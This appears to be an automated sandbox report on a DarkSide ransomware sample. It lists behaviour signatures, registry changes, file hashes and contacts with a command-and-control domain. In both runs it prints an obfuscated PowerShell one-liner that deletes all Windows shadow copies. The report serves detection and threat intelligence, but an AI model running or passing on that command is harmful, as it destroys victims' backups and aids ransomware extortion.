Analysis Overview
SHA256
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39
Threat Level: Known bad
The file f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39 was found to be: Known bad.
Malicious Activity Summary
DarkSide
Modifies extensions of user files
Reads user/profile data of web browsers
Suspicious use of NtSetInformationThreadHideFromDebugger
Sets desktop wallpaper using registry
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Modifies Control Panel
Modifies registry class
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-01-31 05:58
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2022-01-31 05:58
Reported
2022-01-31 07:34
Platform
win7-en-20211208
Max time kernel
118s
Max time network
118s
Command Line
Signatures
DarkSide
Modifies extensions of user files
Reads user/profile data of web browsers
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\5bede5a3.BMP" | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\5bede5a3.BMP" | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
Modifies Control Panel
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\WallpaperStyle = "10" | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3 | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\5bede5a3.ico" | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.5bede5a3 | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.5bede5a3\ = "5bede5a3" | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3\DefaultIcon | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1516 wrote to memory of 968 | N/A | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1516 wrote to memory of 968 | N/A | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1516 wrote to memory of 968 | N/A | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1516 wrote to memory of 968 | N/A | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe
"C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | securebestapp20.com | udp |
| DE | 3.64.163.50:443 | securebestapp20.com | tcp |
| DE | 3.64.163.50:443 | securebestapp20.com | tcp |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
Files
memory/1516-54-0x0000000075471000-0x0000000075473000-memory.dmp
memory/968-55-0x000007FEFB611000-0x000007FEFB613000-memory.dmp
memory/968-57-0x0000000002850000-0x0000000002852000-memory.dmp
memory/968-58-0x0000000002852000-0x0000000002854000-memory.dmp
memory/968-59-0x0000000002854000-0x0000000002857000-memory.dmp
memory/968-56-0x000007FEF26E0000-0x000007FEF323D000-memory.dmp
memory/968-60-0x000000000285B000-0x000000000287A000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | c9c7104a2b8844c15089b197424dbefb |
| SHA1 | d900815a72d2abe1655807aa05529012a57cee42 |
| SHA256 | f1b91092f8d3b761b23bee1ad6391b0e754269516bb778ade3b63b6965f28004 |
| SHA512 | 3a2e173b096a076bbfddd0450d6f76351f8b247c60fadaefe2ea094465e247fc11d40aa8b736ebc98bc969b7bec9a4a588f4605d185898dc005525ad3520b642 |
Analysis: behavioral2
Detonation Overview
Submitted
2022-01-31 05:58
Reported
2022-01-31 07:33
Platform
win10-en-20211208
Max time kernel
161s
Max time network
161s
Command Line
Signatures
DarkSide
Modifies extensions of user files
Reads user/profile data of web browsers
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\08e0b4c3.BMP" | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\08e0b4c3.BMP" | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
Modifies Control Panel
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\Desktop\WallpaperStyle = "10" | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\08e0b4c3 | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\08e0b4c3\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\08e0b4c3.ico" | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.08e0b4c3 | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.08e0b4c3\ = "08e0b4c3" | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\08e0b4c3\DefaultIcon | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2180 wrote to memory of 4032 | N/A | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2180 wrote to memory of 4032 | N/A | C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe
"C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 52.109.8.21:443 | tcp | |
| US | 8.8.8.8:53 | securebestapp20.com | udp |
| DE | 3.64.163.50:443 | securebestapp20.com | tcp |
| NL | 52.109.88.44:443 | tcp | |
| DE | 3.64.163.50:443 | securebestapp20.com | tcp |
Files
memory/4032-121-0x000001EEF4810000-0x000001EEF4832000-memory.dmp
memory/4032-126-0x000001EEF6AA0000-0x000001EEF6B16000-memory.dmp
memory/4032-138-0x000001EEDC730000-0x000001EEF4850000-memory.dmp
memory/4032-139-0x000001EEDC730000-0x000001EEF4850000-memory.dmp
memory/4032-140-0x000001EEDC730000-0x000001EEF4850000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | ea6243fdb2bfcca2211884b0a21a0afc |
| SHA1 | 2eee5232ca6acc33c3e7de03900e890f4adf0f2f |
| SHA256 | 5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8 |
| SHA512 | 189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 83485dce1084c2622e5b7e811de19522 |
| SHA1 | 5b4a73ec6ae77a8d1e598d894a202c40f1cc8b2b |
| SHA256 | 245b075a9e2e0c8f2d76522649a8fc0e3104069ef9b0629817559be37befc959 |
| SHA512 | 773f3225550c40096f1ec3b623e5dad22c6031daae1b2a8c6ff801d5769127ca6717280fd6b903412470760d0b80795e1bf42b82b38b66b64e4434b2d2b9c3ec |